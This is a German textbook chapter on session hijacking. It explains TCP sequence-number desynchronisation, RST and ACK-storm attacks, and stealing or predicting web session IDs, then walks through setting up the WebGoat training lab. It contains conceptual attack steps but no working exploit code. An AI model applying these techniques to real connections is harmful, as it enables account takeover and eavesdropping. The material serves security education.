In diesem Kapitel schauen wir uns verschiedene Varianten des Session Hijacking an, werden einige praktische Beispiele durchspielen und Sie lernen dabei auch einige der wichtigsten Tools und Labor-Szenarien kennen, die in diesem Zusammenhang eine Rolle spielen und uns auch später noch nützlich sein werden. Nachfolgend die Themen im Überblick:
Auch wenn sich das Thema dieses Kapitels inhaltlich perfekt an das Sniffing und die MITM-Angriffe anschließt, so betreten wir hier andererseits die umfangreiche Welt des Web-Hackings, da Application Level Session Hijacking fast immer auf Webanwendungen abzielt. Daher ist es auch kein Wunder, dass einige der hier erwähnten Technologien lediglich Einführungen in Themen darstellen, die wir zu einem späteren Zeitpunkt in Teil V dieses Buches vertieft behandeln werden.
Je weiter wir in die Welt des Hackings vordringen, desto vielfältiger werden die Möglichkeiten und desto weniger linear ist die Vorgehensweise. Viele Technologien greifen ineinander und können in verschiedenen Szenarien zum Einsatz gebracht werden. Als Hacker müssen Sie die bekannten Ansätze und Techniken je nach Bedarf geschickt kombinieren, um zum Ziel zu gelangen.
18.1 Grundlagen des Session Hijackings
Session Hijacking ist eine perfide Angriffsform, da sich der Angreifer sozusagen »ins gemachte Nest« setzt. Dabei können diverse Schwachstellen auf unterschiedlichen Ebenen der Kommunikation ausgenutzt werden. Lassen Sie uns an dieser Stelle zunächst einige Grundbegriffe und Konzepte klären, bevor wir in die Details eintauchen.
18.1.1 Wie funktioniert Session Hijacking grundsätzlich?
Das klassische Session Hijacking findet bei einer Verbindung zwischen einem Client und einem Server statt. Wird eine Sitzung (engl. Session) zwischen zwei Computern aufgebaut, so gibt es verschiedene Parameter, die den Status einer Session festhalten. Gelingt es dem Angreifer, diese Parameter durch Sniffing oder andere Wege zu identifizieren, kann er sich gegenüber dem Server als der Client (Opfer) ausgeben, der tatsächlich die Verbindung aufgebaut hat.
Das Charakteristische beim Session Hijacking im Gegensatz zu einer klassischen Man-in-the-Middle-Attacke ist, dass Mallory sich nicht schon zu Beginn der Session beidseitig als der jeweils andere Kommunikationspartner ausgibt, sondern wartet, bis die Verbindung hergestellt ist und Authentifizierungs- und Autorisierungsmaßnahmen erfolgreich abgeschlossen sind, sodass der Server dem Client nun im Rahmen der aufgebauten Session vertraut. Erst jetzt wird Mallory aktiv und entführt die Session. Dabei kann er den Opfer-Client entweder ins Leere laufen lassen, indem er im Rahmen eines MITM-Angriffs die Weiterleitung der Pakete des Clients unterbindet, oder aber er ist nun ebenfalls authentifiziert und übernimmt parallel zum echten Client dieselbe Session. Dies wird auch als »Sidejacking« bezeichnet. Welche der beiden Varianten verwendet werden kann, hängt dabei vom Szenario ab. Darauf gehen wir im folgenden Abschnitt noch genauer ein.
Da jegliche Authentifizierungsmechanismen in der Regel nur zu Beginn einer Session zum Einsatz kommen, benötigt Mallory für das Session Hijacking keine Zugangsdaten. Eine Einschränkung, die nicht selten greift, ist jedoch die Bedingung, dass sich der Computer des Angreifers im selben Subnetz befinden muss wie das Opfer, da ansonsten das Sniffing bzw. die MITM-Position und damit die Übernahme der Identität des Opfers schwierig bis unmöglich wird.
18.1.2 Session-Hijacking-Varianten
Wir unterscheiden grundsätzlich in Network Level Hijacking und Application Level Hijacking. Beim Session Hijacking auf Netzwerkebene geht es in der Regel darum, eine TCP-Session zu entführen. Es kann sich aber auch um ein anderes Netzwerk-Protokoll handeln, wie z.B. IP oder UDP. Charakteristisch ist, dass keine Informationen zu den Session-Parametern auf Anwendungsebene benötigt werden. Network Level Hijacking kann nur in bestimmten Szenarien sinnvoll zum Einsatz kommen und ist heutzutage deutlich seltener als das Application Level Hijacking anzutreffen.
Beim Entführen einer Session auf Anwendungsebene handelt es sich in fast allen Fällen um eine Webanwendung, in der HTTP zum Einsatz kommt. Auch hier gibt es unterschiedliche Ansätze, wie die Session-Parameter vom Angreifer übernommen werden können. Einer der gängigsten Wege ist das Stehlen des Session-Cookies bzw. der Session-ID. Diese Informationen werden vom Webserver in vielen Fällen für die Authentifizierung und Autorisierung genutzt.
Das Session Hijacking kann diversen Zielen dienen, insbesondere:
Manipulation bestimmter, übermittelter Daten
Übernahme einer Administrator-Session zur Kontrolle über das Zielsystem
Denial-of-Service-Angriff
Beobachten der Verbindung
Greifen wir aktiv in die Sitzung ein (dies ist der Regelfall), handelt es sich um Active Session Hijacking. In einigen Fällen genügt es dem Angreifer jedoch, eine entführte Sitzung nur passiv zu beobachten und Daten zu sammeln, die für einen späteren Angriff genutzt werden können. Dieses Passive Session Hijacking ist somit eine Variante des Man-in-the-Middle-Angriffs.
Vom Hijacking zu unterscheiden ist das Spoofing, also das Fälschen einer Identität. Beim Spoofing übernimmt der Angreifer keine bestehende, also etablierte Session, sondern initiiert selbst den Verbindungsaufbau und gibt sich für einen anderen Computer bzw. Benutzer aus. Hierzu benötigt er allerdings die zur Authentisierung benötigten Informationen, also ggf. IP-Adresse des Clients und Zugangsdaten eines gültigen Benutzers. Letzteres ist genau das, was mit dem Session Hijacking umgangen werden kann.
In einigen Fällen reicht jedoch auch IP Address Spoofing aus, um z.B. Firewall-Regeln zu umgehen oder Access Control Lists (ACLs) auszutricksen, die den Zugang zu bestimmten Systemen auf IP-Basis filtern. Meistens jedoch sind zusätzliche, benutzerspezifische Zugangsdaten erforderlich, sodass der Angreifer über IP Address Spoofing maximal in die Position gelangt, sich anmelden zu können – wie er die notwendigen Credentials erhält, steht dann auf einem anderen Blatt.
18.2 Network Level Session Hijacking
Das Entführen von Sessions auf Netzwerkebene nutzt Schwächen in Protokollen wie TCP, UDP oder IP aus. Hauptsächlich zielt es jedoch auf TCP ab. Wir unterscheiden folgende Varianten:
TCP/IP Hijacking: Dies ist die gängige Variante, bei der wir eine etablierte TCP-Session übernehmen.
RST Hijacking: Eigentlich keine Übernahme der Session, sondern eine mutwillige Beendigung einer fremden Session.
UDP Hijacking: Injiziert UDP-Antworten auf entsprechende Anfragen, z.B. DNS oder DHCP.
Blind Hijacking: Können die relevanten Daten nicht durch eine MITM-Position oder durch anderweitiges Umleiten des Traffics mitgelesen werden, bleibt die Möglichkeit, die Werte zu erraten oder per Brute Force durchzutesten.
IP Spoofing mit Source Routing: Ermöglicht die Übernahme einer Session auch ohne MITM-Position aus einem anderen Subnetz, indem via Source-Routing die Route des Angreifer-Pakets manipuliert wird.
In diesem Abschnitt werfen wir einen Blick hinter die Kulissen und lernen ein praktisches Beispiel kennen.
18.2.1 Die TCP-Session im Detail
In Kapitel 7 Scanning – das Netzwerk unter der Lupe hatten wir Ihnen TCP und den 3-Way-Handshake bereits kurz vorgestellt und auch schon die wichtigsten Parameter einer TCP-Session genannt. Zum besseren Verständnis gehen wir nun noch einmal genauer auf die Verwaltung einer TCP-Session ein.
Zur Wiederholung: Eine TCP-Session wird durch einen 3-Way-Handshake aufgebaut. Der Client schickt als Initiator der Verbindung ein TCP-Paket mit gesetztem SYN-Flag an den Server. Dieser antwortet mit einem TCP-Paket mit SYN/ACK und der Client bestätigt den Verbindungsaufbau mit einem ACK. Während der Server-Port in der Regel festgelegt ist und vom Serverdienst abhängt (Well-Known Port) erhält der Client einen zufälligen, vom Betriebssystem zugeordneten Port aus dem Dynamic-Port-Bereich (49152 bis 65535). Abbildung 18.2 zeigt den TCP-Handshake.
Vordergründig wird die TCP-Verbindung also durch folgende Daten festgelegt:
Es werden jedoch während eines TCP-Handshakes weitere Parameter ausgetauscht, die ebenfalls sehr wichtig sind. Jeder der Kommunikationspartner erstellt zu Beginn eine initiale Sequenznummer (ISN). Dabei handelt es sich um eine 32-Bit-Zufallszahl. Sie wird dem anderen im Rahmen des Handshakes übermittelt. Die Sequenznummer (SEQ) wird jeweils um die Anzahl der Bytes erhöht, die TCP in einem Segment (sprich: einem Paket) transportiert. Der Partner seinerseits quittiert die übermittelten Bytes durch eine Acknowledgement-Nummer (ACK), die der nächsten erwarteten SEQ des anderen entspricht. Abbildung 18.3 verdeutlicht dieses Konzept. Hierbei ist zu beachten, dass die Sequenznummern während des Handshakes nur um den Wert eins (1) erhöht werden, da keine weiteren Nutzdaten übertragen werden.
Müsste nun jedes einzelne TCP-Segment quittiert werden, wäre dies nicht sehr effizient und würde teilweise zu erheblichen Leistungseinbußen bei der Übertragung führen, da der Sender immer warten müsste, bis er die Bestätigung eines einzelnen Pakets erhalten hat. Damit der Kommunikationsfluss optimiert werden kann, legen beide Kommunikationspartner einen Empfangspuffer fest. Dieser wird als »TCP Receive Window« (oder kurz: Window) bezeichnet und beschreibt die maximale Anzahl an Bytes, die ein System zu empfangen bereit ist, bevor der Partner auf ein ACK warten muss, bevor weitere Daten gesendet werden dürfen.
Statt also jedes einzelne TCP-Segment zu quittieren, wird z.B. nur noch ein ACK alle 20.000 Bytes gesendet bzw. erwartet. Genau genommen ist diese Bestätigung dynamisch und das Window definiert lediglich eine maximale Länge an nicht bestätigten Bytes.
Das TCP Receive Window kann nach einem ACK dynamisch verschoben (quasi auf null gesetzt werden). Dies wird als Sliding Window bezeichnet. Abbildung 18.4 zeigt das Prinzip.
Hinzu kommt, dass die Window Size, also die aktuelle Größe des Empfangspuffers, dynamisch angepasst werden kann, um den Datenfluss zu optimieren. Damit haben Sie die theoretischen Grundlagen zum Verständnis des TCP-Hijackings. Lassen Sie uns dieses Szenario nun genauer betrachten.
18.2.2 Entführen von TCP-Sessions
Damit eine Entführung einer TCP-Session erfolgreich sein kann, muss sich der Angreifer im Allgemeinen im selben Subnetz befinden wie sein Opfer. Das Opfer baut als Client eine Verbindung zum Server auf, die der Angreifer im Anschluss zu einem geeigneten Zeitpunkt übernimmt. Wie kann ihm das gelingen?
Die TCP-Session-Parameter
Für eine TCP-Session nutzen die Kommunikationspartner folgende Parameter, die klar definierte Zustandswerte haben:
IP-Adressen (auf IP-Ebene, sind während der Session unveränderlich)
Portnummern (auf TCP-Ebene, sind ebenfalls unveränderlich)
Sequenznummern (zur TCP-Flusssteuerung und Fehlerkorrektur, sind zufällig und verändern sich permanent)
Während IP-Adressen und Portnummern problemlos gespooft werden können, stellen die Sequenznummern die eigentliche Herausforderung dar. Beide Kommunikationspartner erstellen zu Beginn einer TCP-Session eine zufällige Initial Sequence Number (ISN). Sie ist 32 Bit lang und damit eine Zahl zwischen 0 und 4,3 Mrd. Dementsprechend schwierig wird es für Mallory, diese Zahl zu erraten.
In der Vergangenheit wurden die ISNs nicht immer ganz zufällig von den TCP/IP-Implementationen gewählt, sodass ein Angreifer unter Berücksichtigung des schwachen Zufallsalgorithmus eine Chance hatte, die ISN zu erraten. Dieses Vorgehen wird ISN prediction genannt und ist heutzutage kaum noch möglich.
Der geeignetere Ansatz ist das Mithören der Kommunikation. Hierzu muss Mallory auf eine der Techniken aus dem vorhergehenden Kapitel zurückgreifen und entweder dafür sorgen, dass der Traffic an seiner Schnittstelle landet (z.B. mittels macof, arpspoof etc.) oder sogar als Man-in-the-Middle direkt im Kommunikationspfad sitzen. Letzteres hat den Vorteil, dass er den Datenfluss steuern kann und somit in der Lage ist, das Opfer vom Server zu trennen. Daher ist eine MITM-Position immer die bessere Wahl für ein Session-Hijacking-Szenario. Für unser nachfolgendes Beispielszenario reicht allerdings die Sniffing-Position.
Der Session-Hijacking-Prozess im Detail
Wie also sieht der Session-Hijacking-Prozess genau aus? Zunächst bringt sich Mallory in Stufe eins in eine Position, in der er die Kommunikation und den Verbindungsaufbau mitschneiden kann (Sniffing). Anschließend hört er den Traffic ab, bis er eine geeignete Verbindung identifiziert hat, deren Sequenznummer er vorhersagen kann (Monitoring). In der dritten Stufe desynchronisiert er die Verbindung zwischen dem Opfer und dem Server. Hierzu stehen ihm verschiedene Techniken zur Verfügung.
Anschließend bzw. gleichzeitig übernimmt er die Session, indem er dem Server passende Pakete schickt, die mit den richtigen IP- und TCP-Parametern und insbesondere der richtigen Sequenz- und ACK-Nummer versehen sind. Das ist dann der Moment für Schritt fünf, in dem er beginnen kann, Nutzdaten mit dem Server auszutauschen und z.B. Kommandos abzusetzen (Command-Injection). Abbildung 18.5 zeigt den Vorgang noch einmal in der Übersicht am Beispiel von Alice, die als Client eine Verbindung zu Bobs Server aufbauen möchte.
Interessant ist insbesondere Stufe drei, in der die Verbindung zwischen Alice und Bob desynchronisiert wird. Das Ziel ist die Übernahme der Session durch Mallory und das Abhängen von Alice, die in diesem Fall das Opfer darstellt.
Mallory muss zu diesem Zweck eine Änderung der SEQ- und ACK-Nummern des Servers provozieren, damit die Werte zwischen Alice’ Client und Bobs Server nicht mehr stimmen. Im Endeffekt akzeptieren beide Seiten nicht mehr die Pakete des Kommunikationspartners. Die korrekten SEQ- und ACK-Daten werden dann nur noch zwischen Bob und Mallory ausgetauscht, wobei Mallory die Absenderadresse und die Portnummer von Alice spooft.
Mallory kann hierzu z.B. Null-Daten an den Server senden, die keinerlei Aktion auslösen, außer der Erhöhung der eigenen Sequenznummer und der ACK-Nummer des Servers. Liegt die Sequenznummer eines eingehenden Pakets außerhalb des Empfangsfensters (TCP-Window), wird dies als TCP desynchronized state bezeichnet. Wenn Mallory also genügend Daten sendet, die der Server im Rahmen der TCP-Session mit dem Client annimmt, setzt der Server die ACK-Nummer so hoch, dass das nächste Paket von Alice eine SEQ-Nummer außerhalb des Empfangsfensters beinhaltet.
Es gibt weitere Möglichkeiten der Desynchronisation einer Verbindung. So kann Mallory dem Server unter Verwendung von Alice’ IP-Adresse, Portnummer und Sequenznummer ein RST-Paket schicken, sobald er ein SYN/ACK-Paket des Servers auf eine Verbindungsanfrage des Clients erspäht. Wichtig ist, dass er gleich danach ein SYN mit denselben Quell- und Zielports mit neuer ISN an den Server sendet. Auf Netzwerk-Ebene wird somit eine neue Verbindung aufgebaut zwischen dem Server und dem vermeintlichen Client, der in Wirklichkeit Mallory ist. Dies wird als RST/Reopen bezeichnet. Durch die neuen ISNs ist die Verbindung zum echten Client desynchronisiert, der aber zunächst glaubt, dass er eine etablierte Session mit dem Server hat. Tatsächlich stimmen die aktuellen SEQ-Nummern aber nicht mehr überein.
Ist Mallory in einer MITM-Position, kann er nun die Pakete vom Client so modifizieren, dass sie scheinbar passen, sodass Alice zunächst nichts von der Desynchronisation mitbekommt. Mallory hat nun die volle Kontrolle darüber, welche Pakete er zwischen Client und Server passieren lässt und welche nicht. Damit kann er z.B. die Authentifizierung erlauben und danach eigene Daten (z.B. Kommandos) an den Server senden.
Auf der anderen Seite kann Mallory es darauf ankommen lassen und damit einen sogenannten »ACK Storm« erzeugen. Sind die jeweiligen SEQ-Nummern so weit entfernt von der erwarteten SEQ-Nummer des Partners, senden Alice und Bob sich gegenseitig ACK-Pakete zu, die den Kommunikationspartner dazu auffordern, sich an seine Sicht der Dinge anzupassen und die richtigen Pakete mit den korrekten SEQ-Nummern zuzusenden. Dabei kann es dazu kommen, dass sich beide hochschaukeln und damit einen ACK Storm erzeugen.
Mallory kann dieses Verhalten sogar provozieren, indem er im Namen diverser Clients ständig ACK Requests mit falschen SEQ-Nummern an den Server sendet. Der dadurch provozierte ACK Storm kann dazu führen, dass der Server keine Ressourcen mehr hat, um legitime Anfragen zu beantworten. Hier ist dann allerdings nicht die Übernahme einer Session, sondern ein DoS-Angriff das Ziel der Operation.
Last, but not least kann Mallory dem Client RST-Pakete schicken, deren Absender-Adresse die des Servers ist und damit dem Client suggerieren, dass der Server die Verbindung beendet hat.
18.2.3 Weitere Hijacking-Varianten auf Netzwerk-Ebene
Wie bereits dargelegt, ist das TCP-Hijacking auf der Netzwerk-Ebene die am häufigsten anzutreffende Form. Darüber hinaus existieren jedoch noch weitere Ansätze, die wir Ihnen in diesem Abschnitt kurz vorstellen.
IP-Spoofing mit Source Routing
Während IP-Spoofing zwangsläufiger Bestandteil des Hijackings ist, dient die Kombination mit Source Routing der Möglichkeit, eine Session auch aus einem anderen Subnetz zu übernehmen, indem der Pfad, den ein Paket nimmt, durch den Angreifer vordefiniert wird. Auch hier wird durch die Manipulation der SEQ-Nummern eine Desynchronisation mit dem Client bewirkt.
Das Source Routing stellt eine Option im IP-Header dar und ermöglicht die Angabe von maximal 9 Hops (also Router-IPs), die vom Absender eingefügt werden können und den Weg des IP-Pakets zum Ziel beschreiben. Da Source Routing heutzutage in fast allen Netzwerk-Komponenten (insbesondere Router und Firewalls) deaktiviert ist bzw. unterbunden wird, spielt diese Angriffstechnik kaum noch eine Rolle.
RST Hijacking
Bei dieser Variante handelt es sich nicht um ein Session Hijacking im eigentlichen Sinne, also einer Entführung einer Verbindung, sondern um einen Denial-of-Service-Angriff. Das Ziel besteht darin, ein glaubhaftes RST-Paket zu erzeugen, das den betreffenden Kommunikationspartner davon überzeugt, der andere hätte die TCP-Session beendet.
Blind Hijacking
Kann der Angreifer die Kommunikation zwischen zwei Kommunikationspartnern nicht abhören, so ist er unter Umständen in der Lage, die korrekte ISN und folgende SEQ- und ACK-Nummern zu erraten und somit Daten in die Session einzuschleusen. Durch diese Command-Injection ist es ihm zwar möglich, bestimmte Manipulationen auf dem Server vorzunehmen, er wird jedoch keine Antworten erhalten. Damit ein derartiger Angriff erfolgreich sein kann, muss der Algorithmus zur Erstellung einer ISN Schwächen aufweisen, die der Angreifer ausnutzt. Unter normalen Bedingungen ist die ISN zufällig gewählt und gar nicht bzw. nur sehr schwer vorherzusagen.
UDP Hijacking
Das Wort Session Hijacking impliziert, dass eine Session, also eine Sitzung zwischen zwei Kommunikationspartnern, entführt wird. UDP erstellt bekanntermaßen keine Sessions. Dennoch ist es möglich, UDP-Kommunikationen zu entführen. Sie haben das bereits im vorhergehenden Kapitel gesehen. Dort haben wir mit dnsspoof und Ettercap DNS-Anfragen abgefangen und manipulierte Antworten gesendet. Dies ist ein Beispiel für UDP Hijacking und ist grundsätzlich auch für DHCP, SNMP und andere UDP-basierende Protokolle möglich.
Dadurch, dass UDP keinerlei Status-Informationen austauscht, ist es für einen Angreifer grundsätzlich sehr leicht, eine derartige Kommunikation zu entführen und zu manipulieren. Insbesondere in den traditionellen Szenarien, in denen UDP zum Einsatz kommt, wird auf eine UDP-basierende Anfrage nur ein einzelnes Antwortpaket gesendet. Auch wenn z.B. das DNS-Protokoll einen Request Identifier in der Anfrage mitschickt, so kann der Angreifer diesen durch Sniffing problemlos ermitteln und ein valides Antwortpaket erstellen.
18.3 Application Level Session Hijacking
Ist von Application Level Session Hijacking die Rede, so handelt es sich fast immer um Webanwendungen, also HTTP-basierende Kommunikation. Daher werden wir im Folgenden hauptsächlich dieses Szenario betrachten. In einigen Fällen geht das Application Hijacking mit dem Network Hijacking (insbesondere mit dem TCP-Hijacking) einher und baut darauf auf. In diesem Abschnitt betrachten wir die gängigsten Angriffsvektoren und Varianten des Entführens von Web-Sessions.
18.3.1 Die Session-IDs
Für Webanwendungen wird in fast allen Fällen HTTP verwendet. Es basiert meistens auf TCP als »stateful« Transportprotokoll. HTTP selbst ist jedoch »stateless« (zustandslos), baut also selbst keine eigene Sitzungen auf – dafür sind die darüber kommunizierenden Webanwendungen zuständig. Zur Identifikation einer Session wird in der Regel eine Session-ID verwendet. Während HTTP oft viele Einzelverbindungen für verschiedene Anfragen und Antworten aufbaut, sorgt die Session-ID dafür, dass die Kommunikation einer bestimmten Web-Session zugeordnet werden kann.
Oft wird der Begriff »Session Token« verwendet. Ein Token (engl. für Zeichen oder Marke) ist ein Satz an Informationen zur Identifikation und Verwaltung eines Prozesses. Auch wenn bei Webanwendungen zwischen Session Authentication und Token Authentication unterschieden wird, so verwenden wir die Begriffe Session-ID und Session Token in diesem Buch synonym.
Ein typisches Beispiel hierfür ist ein Online-Shop, bei dem der Benutzer zunächst die Angebotsseiten durchstöbert, anschließend das eine oder andere Produkt in den virtuellen Warenkorb legt und vielleicht noch ein wenig weiterstöbert, bevor er zur Kasse geht und den Kauf über Online-Zahlungsmethoden abschließt. Um alle Vorgänge und Transaktionen einem Einkäufer zuordnen zu können, wird eine Session-ID zu Beginn der Sitzung erzeugt.
Diese wird dem Client vom Server übermittelt und muss von diesem bei jeder Datenübermittlung im Rahmen der Session mitgesendet werden. Es gibt verschiedene Möglichkeiten, wie die Session-ID zwischen den Kommunikationspartnern übertragen werden kann:
Im HTTP-Header: Im Rahmen eines Cookies werden die für die Session relevanten Daten in Form von Textinformationen an den Client übermittelt und das Cookie im Webbrowser in seinem dafür vorgesehenen Speicher abgelegt. Der Vorteil ist, dass die Session-ID auch bei statischen Webseiten erhalten bleibt, da die Information vom Server nur einmalig während der Anmeldung übertragen werden muss. Der Browser sendet mit jeder Datenübertragung an den Server die Session-ID mit HTTP-Header mit. Die Verwaltung der Session mit Cookies wird am häufigsten verwendet.
Im URI: Der Uniform Ressource Identifier, kurz: URI, ist die komplette Information, die der Browser dem Server zukommen lässt, um eine Ressource eindeutig zu identifizieren (die URL, eigentlich der Uniform Resource Locator, ist ein Bestandteil davon). Dabei wird die Session-ID in jeder Übertragung in den URI eingebaut (z.B. http://www.ein-onlineshop.com/index?sid=aac8e8395fa3b9095fe0100d89aba316). Diese Form der Übertragung ist jedoch komplexer und fehleranfälliger als die Verwendung von Cookies.
Im Datenteil des HTTP-Requests: Eine weitere Methode ist das Einbetten der Session-ID als verstecktes Formularfeld (Typ: hidden). Wird das Formular zum Server gesendet, wird auch die Session-ID übertragen. Dies erfordert eine Modifikation des HTML-Codes, um das betreffende Feld einzufügen, und die Verwendung der HTTP-Methode POST.
In welcher Form auch immer die Übermittlung der Session-ID geschieht – in jedem Fall vertraut der Server darauf, dass diese ID den Benutzer und die Session eindeutig identifiziert. Ist es im Umkehrschluss möglich, die Session-ID zu ermitteln, kann der Angreifer die Web-Session übernehmen. Auch hier macht sich Mallory wieder den Umstand zunutze, dass die Authentifizierung und Festlegung der Session-Parameter einmalig zu Beginn der Sitzung erfolgen und später keine erneute Authentifizierung über die Session-ID hinaus stattfindet.
18.3.2 Die Session-ID ermitteln
Um eine Session zu entführen, muss Mallory die Session-ID ermitteln. Dies geschieht durch eine von drei Möglichkeiten:
Es gelingt ihm, die Session-ID zu stehlen. Dies kann z.B. durch Zugriff auf eines der beiden Systeme erfolgen, in dem er die Dateien mit den Session-IDs kopiert bzw. das betreffende Cookie ausliest. Die weitaus häufigere Variante ist jedoch das Mitlesen der übertragenen Session-ID durch Sniffing bzw. durch eine MITM-Position.
Er kann die Session-ID erraten. In einigen Fällen ist der Session-Erzeugungsalgorithmus schwach oder fehlerhaft. In diesem Fall ist es unter Umständen möglich, die Session-ID vorherzusagen.
Er kann die Session-ID über Brute Force ermitteln. Auch hier besteht unter der Voraussetzung, dass der Wertebereich der Session-ID eingegrenzt werden kann, eine gewisse Chance, die ID zu erraten, indem alle möglichen Werte geprüft werden.
Nachfolgend schauen wir uns die gängigsten Techniken an, mit denen ein Angreifer die Session-ID kompromittieren kann.
18.3.3 Sniffing/Man-in-the-Middle
Ist ein Angreifer in der Lage, die HTTP-Kommunikation mitzuschneiden, so wird er auch die Session-ID auslesen können, sofern die Kommunikation in Klartext stattfindet oder er die SSL/TLS-Verschlüsselung brechen kann. Diese Form des Angriffs gleicht den bisher vorgestellten Ansätzen des Sniffings bzw. des Man-in-the-Middle-Angriffs. Abbildung 18.6 zeigt eine Session-ID im Rahmen eines Cookies im HTTP-Header in Wireshark.
Die Loopback-Adresse 127.0.0.1 resultiert aus der Tatsache, dass die Webanwendung (in diesem Fall WebGoat) auf demselben System läuft wie der Browser. In Abschnitt 18.3.5 werden wir Ihnen diese Umgebung inklusive der Burp Suite im Rahmen eines praktischen Beispiels erläutern und Ihnen zeigen, wie Sie die Session-ID auslesen und die HTTP-Session übernehmen können.
18.3.4 Die Session-ID erraten – das Prinzip
In einigen Fällen nutzen Webanwendungen eigene Algorithmen oder sogar vordefinierte Bestandteile, um Session-IDs zu erstellen. Ist eine Session-ID nicht zufällig gewählt, sondern folgt einem bestimmten Muster, so kann der Angreifer dieses unter Umständen erkennen, wenn er den Algorithmus durchschaut. Dazu muss er meistens zahlreiche Session-IDs mitschneiden und anschließend analysieren. Um dies zu verdeutlichen, betrachten wir ein Beispiel. Nehmen wir an, Mallory gelingt es, die folgenden Session-IDs mitzuschneiden:
F4F6D20221305132530
F4F6D20221305133024
F4F6D20221305145401
F4F6D20221305202031
In diesem Fall wird schnell deutlich, dass hinter dem Algorithmus ein bestimmtes System steckt. Haben Sie es erkannt?
Während der vordere Teil konstant bleibt, stellt der mittlere Teil das Datum in amerikanischer Notation und der letzte Teil die Uhrzeit dar. Nachfolgend noch einmal die erste Session-ID entsprechend formatiert:
F4F6D 2022/13/05 13:25:30
Dementsprechend ist es Mallory möglich, die Session-ID vorherzusagen. Nehmen wir an, er möchte die Session vom 19. September 2022 um 21:33:20 Uhr übernehmen, dann lautet die Session-ID folgendermaßen:
Auf diese Weise kann Mallory die Session kapern. Natürlich ist dies ein sehr einfaches Beispiel. Normalerweise muss Mallory Hunderte oder Tausende Session-IDs provozieren, um sie sinnvoll auswerten zu können. Damit stellt sich die Frage, wie eine Analyse der Session-IDs in der Praxis durchgeführt werden kann – das beantworten wir Ihnen in den nächsten Abschnitten.
18.3.5 WebGoat bereitstellen
An diesem Punkt benötigen wir eine geeignete Laborumgebung für die nächsten Schritte. Wir steigen nun in das Thema »Praktisches Web-Hacking« ein, das wir später im Buch noch vertiefen werden.
Glücklicherweise müssen wir Ihnen jetzt nicht im Detail erläutern, wie Sie eine vollwertige Webanwendung programmieren und mit entsprechenden Schwachstellen ausstatten können. Stattdessen greifen wir auf eine der vielen, zu diesem Zweck vorgefertigten Webanwendungen zurück. Hierzu zählen unter anderem:
Wir wählen WebGoat, da die Installation auf Kali Linux schnell erledigt ist und wir an dieser Stelle aus Platzgründen nur auf das Nötigste eingehen möchten. Die anderen beiden Anwendungen kommen im Rahmen von Kapitel 24 nochmals zur Sprache, wenn wir uns den OWASP Top 10 widmen.
WebGoat ist eine absichtlich unsicher programmierte Webanwendung, die viele Angriffsvektoren und -technologien auf Webanwendungen in der Theorie erläutert und in der Praxis greifbar macht. Sie wird von der OWASP Foundation (www.owasp.org) entwickelt und bereitgestellt. Diese Institution werden wir Ihnen im Rahmen des Web-Hackings später im Buch noch detailliert vorstellen.
Aus den oben genannten Gründen sollten Sie WebGoat niemals aus dem Internet erreichbar machen. Stellen Sie sicher, dass WebGoat immer in einer abgeschotteten, sicheren Umgebung läuft. Unser Labor eignet sich dafür sehr gut.
Sie können WebGoat (was übrigens übersetzt Web-Ziege bedeutet) von der oben genannten URL auf Ihr Kali-System herunterladen. Wählen Sie den WebGoat-Server wie in Abbildung 18.7 gezeigt. Aus Kompatibilitätsgründen wählen wir hier eine ältere Version. Hier müssen Sie evtl. etwas experimentieren, da auf Ihrem Kali Linux eine bestimmte Java-Version installiert ist, die mit der WebGoat-Version kompatibel sein muss.
Es handelt sich um ein JAR-File, das Sie mit Java folgendermaßen über die Kommandozeile starten können, wobei Sie ggf. den Dateinamen anpassen müssen:
java -jar webgoat-server-8.0.0.M25.jar
Voraussetzung ist, dass Sie sich dazu im Verzeichnis befinden, in dem Sie das JAR-File abgespeichert haben (z.B. /home/kali/Download). Ansonsten müssen Sie den Pfad mit angeben. Sie können WebGoat als Benutzer kali starten, root-Privilegien sind zunächst nicht erforderlich.
Java ist auf Kali Linux bereits vorinstalliert. Ansonsten stellen Sie sicher, dass Java auf Ihrem System bereitsteht. Es ist möglich, dass Sie eine bestimmte Version installieren müssen, um WebGoat starten zu können – dies erfahren Sie über eine entsprechende Fehlermeldung beim Start von WebGoat. Hier ist allerdings Vorsicht geboten, da die Installation einer neueren Java-Version als die vorinstallierte evtl. zu Problemen bei anderen Programmen führen kann. So ist z.B. die Burp Suite (siehe nächster Abschnitt) unter Umständen nicht bereit, mit neueren Java-Versionen zu laufen. Im Zweifel laden Sie sich eine ältere Version von WebGoat herunter. Bei Kali 2021.3 läuft WebGoat bis zur Version 8.1.0 problemlos. Neuere Kali-Versionen werden auch neuere WebGoat-Versionen unterstützen. Für die Praxis in diesem Kapitel reicht auch eine ältere Version.
Der Startprozess füllt das Terminal mit zahlreichen Ausgaben, die in einer Meldung münden sollten, wie in Abbildung 18.8 dargestellt.
WebGoat ist nun im Browser über die URL http://localhost:8080/WebGoat erreichbar, aber Achtung: Groß- und Kleinschreibung wird berücksichtigt! Merken Sie was? Wir haben hier mit voller Absicht eine angreifbare Komponente auf unserem Kali Linux (also eigentlich dem Angreifer-System) installiert und bereitgestellt! WebGoat ist dazu gedacht, Web-Angriffe kennenzulernen und zu üben, und steckt voller Schwachstellen. Daher wird es standardmäßig auch nur lokal über die Loopback-Schnittstelle (localhost bzw. 127.0.0.1) bereitgestellt und kann von außen über das Netzwerk nicht angesprochen werden, wie netstat -tpln in Abbildung 18.9 zeigt.
Öffnen Sie die oben angegebene URL, müssen Sie zunächst einen Benutzer registrieren. Wir nutzen victim mit einem sehr geheimen Passwort, das wohl nicht lange geheim bleiben wird – doch dazu später mehr. Nach der Anmeldung können Sie sich über das Navigationsmenü links einen Überblick verschaffen. Mittlerweile ist das Menü an die OWASP-Top-10-Liste angepasst, auf die wir in Kapitel 24 detailliert eingehen werden.
Über Untermenüs gelangen Sie in die entsprechenden Sektionen, die oftmals in mehrere Seiten aufgeteilt sind, die Sie über die Nummern oben im Hauptfenster aufrufen können. Graue Nummern sind Seiten, auf denen die Theorie erklärt wird, rote Nummern enthalten praktische Aufgaben und grüne Nummern zeigen erfolgreich gelöste Aufgaben an (vgl. Abbildung 18.10).
Damit haben wir Teil 1 der Laborumgebung aufgebaut. Für unsere Analysen und Tests benötigen wir jedoch noch ein weiteres elementares Tool – die Burp Suite!
